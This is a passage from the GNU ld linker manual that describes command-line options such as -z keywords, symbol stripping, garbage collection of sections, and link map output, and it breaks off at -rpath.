Attempt to ensure that only a single read-only, non-code segment is created. Only useful when used in conjunction with the -z separate-code option. The resulting binaries should be smaller than if -z separate-code is used on its own. Without this option, or if –no-rosegment is specified, the -z separate-code option will create two read-only segments, one before the code segment and one after it. The name of the options are misleading, but they have been chosen in order for the linker to be compatible with the LLD and GOLD linkers. Thse options are only supported by ELF targets.

-s

–strip-all

Omit all symbol information from the output file.

-S

–strip-debug

Omit debugger symbol information (but not all symbols) from the output file.

–strip-discarded

–no-strip-discarded

Omit (or do not omit) global symbols defined in discarded sections. Enabled by default.

-plugin-save-temps
Store the plugin “temporary” intermediate files permanently.

-t

–trace

Print the names of the input files as ld processes them. If -t is given twice then members within archives are also printed. -t output is useful to generate a list of all the object files and scripts involved in linking, for example, when packaging files for a linker bug report.

-T scriptfile

–script=scriptfile

Use scriptfile as the linker script. This script replaces ld’s default linker script (rather than adding to it), unless the script contains INSERT, so commandfile must specify everything necessary to describe the output file. If scriptfile does not exist in the current directory, ld looks for it in the directories specified by any preceding -L options. Command line options that appear before the -T option can affect the script, but command line options that appear after it do not. Multiple -T options will accumulate if they are augmenting the current script, otherwise the last, non-augmenting, -T option will be used. There are other ways of specifying linker scripts. See

-dT scriptfile

–default-script=scriptfile

Use scriptfile as the default linker script. This option is similar to the –script option except that processing of the script is delayed until after the rest of the command line has been processed. This allows options placed after the –default-script option on the command line to affect the behaviour of the linker script, which can be important when the linker command line cannot be directly controlled by the user. (eg because the command line is being constructed by another tool, such as gcc).

-u symbol

–undefined=symbol

Force symbol to be entered in the output file as an undefined symbol. Doing this may, for example, trigger linking of additional modules from standard libraries. -u may be repeated with different option arguments to enter additional undefined symbols. This option is equivalent to the EXTERN linker script command. If this option is being used to force additional modules to be pulled into the link, and if it is an error for the symbol to remain undefined, then the option –require-defined should be used instead.

–require-defined=symbol
Require that symbol is defined in the output file. This option is the same as option –undefined except that if symbol is not defined in the output file then the linker will issue an error and exit. The same effect can be achieved in a linker script by using EXTERN, ASSERT and DEFINED together. This option can be used multiple times to require additional symbols.

-Ur
For programs that do not use constructors or destructors, or for ELF based systems this option is equivalent to -r: it generates relocatable output—i.e., an output file that can in turn serve as input to ld. For other binaries however the -Ur option is similar to -r but it also resolves references to constructors and destructors. For those systems where -r and -Ur behave differently, it does not work to use -Ur on files that were themselves linked with -Ur; once the constructor table has been built, it cannot be added to. Use -Ur only for the last partial link, and -r for the others.

–orphan-handling=MODE
Control how orphan sections are handled. An orphan section is one not specifically mentioned in a linker script. MODE can have any of the following values:

“place”
Orphan sections are placed into a suitable output section following the strategy described in Orphan Sections. The option –unique also affects how sections are placed.

“discard”
All orphan sections are discarded, by placing them in the /DISCARD/ section.

“warn”
The linker will place the orphan section as for place and also issue a warning.

“error”
The linker will exit with an error if any orphan section is found.

The default if –orphan-handling is not given is place.

–unique[=SECTION]
Creates a separate output section for every input section matching SECTION, or if the optional wildcard SECTION argument is missing, for every orphan input section. An orphan section is one not specifically mentioned in a linker script. You may use this option multiple times on the command line; It prevents the normal merging of input sections with the same name, overriding output section assignments in a linker script.

-v

–version

-V

Display the version number for ld. The -V option also lists the supported emulations. See also the description of the –enable-linker-version in Options,,Command-line Options which can be used to insert the linker version string into a binary.

-x

–discard-all

Delete all local symbols.

-X

–discard-locals

Delete all temporary local symbols. (These symbols start with system-specific local label prefixes, typically .L for ELF systems or L for traditional a.out systems.)

-y symbol

–trace-symbol=symbol

Print the name of each linked file in which symbol appears. This option may be given any number of times. On many systems it is necessary to prepend an underscore. This option is useful when you have an undefined symbol in your link but don’t know where the reference is coming from.

-Y path
Add path to the default library search path. This option exists for Solaris compatibility.

-z keyword
The recognized keywords are:

call-nop=prefix-addr

call-nop=suffix-nop

call-nop=prefix-byte

call-nop=suffix-byte

Specify the 1-byte NOP padding when transforming indirect call to a locally defined function, foo, via its GOT slot. call-nop=prefix-addr generates 0x67 call foo. call-nop=suffix-nop generates call foo 0x90. **call-nop=prefix-**byte generates byte call foo. **call-nop=suffix-byte generates call foo byte. Supported for i386 and x86_64.

cet-report=none

cet-report=warning

cet-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_IBT and GNU_PROPERTY_X86_FEATURE_1_SHSTK properties in input .note.gnu.property section. cet-report=none, which is the default, will make the linker not report missing properties in input files. cet-report=warning will make the linker issue a warning for missing properties in input files. cet-report=error will make the linker issue an error for missing properties in input files. Note that ibt will turn off the missing GNU_PROPERTY_X86_FEATURE_1_IBT property report and shstk will turn off the missing GNU_PROPERTY_X86_FEATURE_1_SHSTK property report. Supported for Linux/i386 and Linux/x86_64.

combreloc

nocombreloc

Combine multiple dynamic relocation sections and sort to improve dynamic symbol lookup caching. Do not do this if nocombreloc.

common

nocommon

Generate common symbols with STT_COMMON type during a relocatable link. Use STT_OBJECT type if nocommon.

common-page-size=value
Set the page size most commonly used to value. Memory image layout will be optimized to minimize memory pages if the system is using pages of this size.

defs
Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. This option is the inverse of -z undefs.

dynamic-undefined-weak

nodynamic-undefined-weak

Make undefined weak symbols dynamic when building a dynamic object, if they are referenced from a regular object file and not forced local by symbol visibility or versioning. Do not make them dynamic if nodynamic-undefined-weak. If neither option is given, a target may default to either option being in force, or make some other selection of undefined weak symbols dynamic. Not all targets support these options.

execstack
Marks the object as requiring executable stack.

global
This option is only meaningful when building a shared object. It makes the symbols defined by this shared object available for symbol resolution of subsequently loaded libraries.

globalaudit
This option is only meaningful when building a dynamic executable. This option marks the executable as requiring global auditing by setting the DF_1_GLOBAUDIT bit in the DT_FLAGS_1 dynamic tag. Global auditing requires that any auditing library defined via the –depaudit or -P command-line options be run for all dynamic objects loaded by the application.

ibtplt
Generate Intel Indirect Branch Tracking (IBT) enabled PLT entries. Supported for Linux/i386 and Linux/x86_64.

ibt
Generate GNU_PROPERTY_X86_FEATURE_1_IBT in .note.gnu.property section to indicate compatibility with IBT. This also implies ibtplt. Supported for Linux/i386 and Linux/x86_64.

indirect-extern-access

noindirect-extern-access

Generate GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS in .note.gnu.property section to indicate that object file requires canonical function pointers and cannot be used with copy relocation. This option also implies noextern-protected-data and nocopyreloc. Supported for i386 and x86-64. noindirect-extern-access removes GNU_PROPERTY_1_NEEDED_INDIRECT_EXTERN_ACCESS from .note.gnu.property section.

initfirst
This option is only meaningful when building a shared object. It marks the object so that its runtime initialization will occur before the runtime initialization of any other objects brought into the process at the same time. Similarly the runtime finalization of the object will occur after the runtime finalization of any other objects.

interpose
Specify that the dynamic loader should modify its symbol search order so that symbols in this shared library interpose all other shared libraries not so marked.

unique

nounique

When generating a shared library or other dynamically loadable ELF object mark it as one that should (by default) only ever be loaded once, and only in the main namespace (when using dlmopen). This is primarily used to mark fundamental libraries such as libc, libpthread et al which do not usually function correctly unless they are the sole instances of themselves. This behaviour can be overridden by the dlmopen caller and does not apply to certain loading mechanisms (such as audit libraries).

lam-u48
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U48 in .note.gnu.property section to indicate compatibility with Intel LAM_U48. Supported for Linux/x86_64.

lam-u57
Generate GNU_PROPERTY_X86_FEATURE_1_LAM_U57 in .note.gnu.property section to indicate compatibility with Intel LAM_U57. Supported for Linux/x86_64.

lam-u48-report=none

lam-u48-report=warning

lam-u48-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 property in input .note.gnu.property section. lam-u48-report=none, which is the default, will make the linker not report missing properties in input files. lam-u48-report=warning will make the linker issue a warning for missing properties in input files. lam-u48-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-u57-report=none

lam-u57-report=warning

lam-u57-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U57 property in input .note.gnu.property section. lam-u57-report=none, which is the default, will make the linker not report missing properties in input files. lam-u57-report=warning will make the linker issue a warning for missing properties in input files. lam-u57-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lam-report=none

lam-report=warning

lam-report=error

Specify how to report the missing GNU_PROPERTY_X86_FEATURE_1_LAM_U48 and GNU_PROPERTY_X86_FEATURE_1_LAM_U57 properties in input .note.gnu.property section. lam-report=none, which is the default, will make the linker not report missing properties in input files. lam-report=warning will make the linker issue a warning for missing properties in input files. lam-report=error will make the linker issue an error for missing properties in input files. Supported for Linux/x86_64.

lazy
When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding), rather than at load time. Lazy binding is the default.

loadfltr
Specify that the object’s filters be processed immediately at runtime.

max-page-size=value
Set the maximum memory page size supported to value.

mark-plt

nomark-plt

Mark PLT entries with dynamic tags, DT_X86_64_PLT, DT_X86_64_PLTSZ and DT_X86_64_PLTENT. Since this option stores a non-zero value in the r_addend field of R_X86_64_JUMP_SLOT relocations, the resulting executables and shared libraries are incompatible with dynamic linkers, such as those in older versions of glibc without the change to ignore r_addend in R_X86_64_GLOB_DAT and R_X86_64_JUMP_SLOT relocations, which don’t ignore the r_addend field of R_X86_64_JUMP_SLOT relocations. Supported for x86_64.

muldefs
Allow multiple definitions.

nocopyreloc
Disable linker generated .dynbss variables used in place of variables defined in shared libraries. May result in dynamic text relocations.

nodefaultlib
Specify that the dynamic loader search for dependencies of this object should ignore any default library search paths.

nodelete
Specify that the object shouldn’t be unloaded at runtime.

nodlopen
Specify that the object is not available to dlopen.

nodump
Specify that the object can not be dumped by dldump.

noexecstack
Marks the object as not requiring executable stack.

noextern-protected-data
Don’t treat protected data symbols as external when building a shared library. This option overrides the linker backend default. It can be used to work around incorrect relocations against protected data symbols generated by compiler. Updates on protected data symbols by another module aren’t visible to the resulting shared library. Supported for i386 and x86-64.

noreloc-overflow
Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targetted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
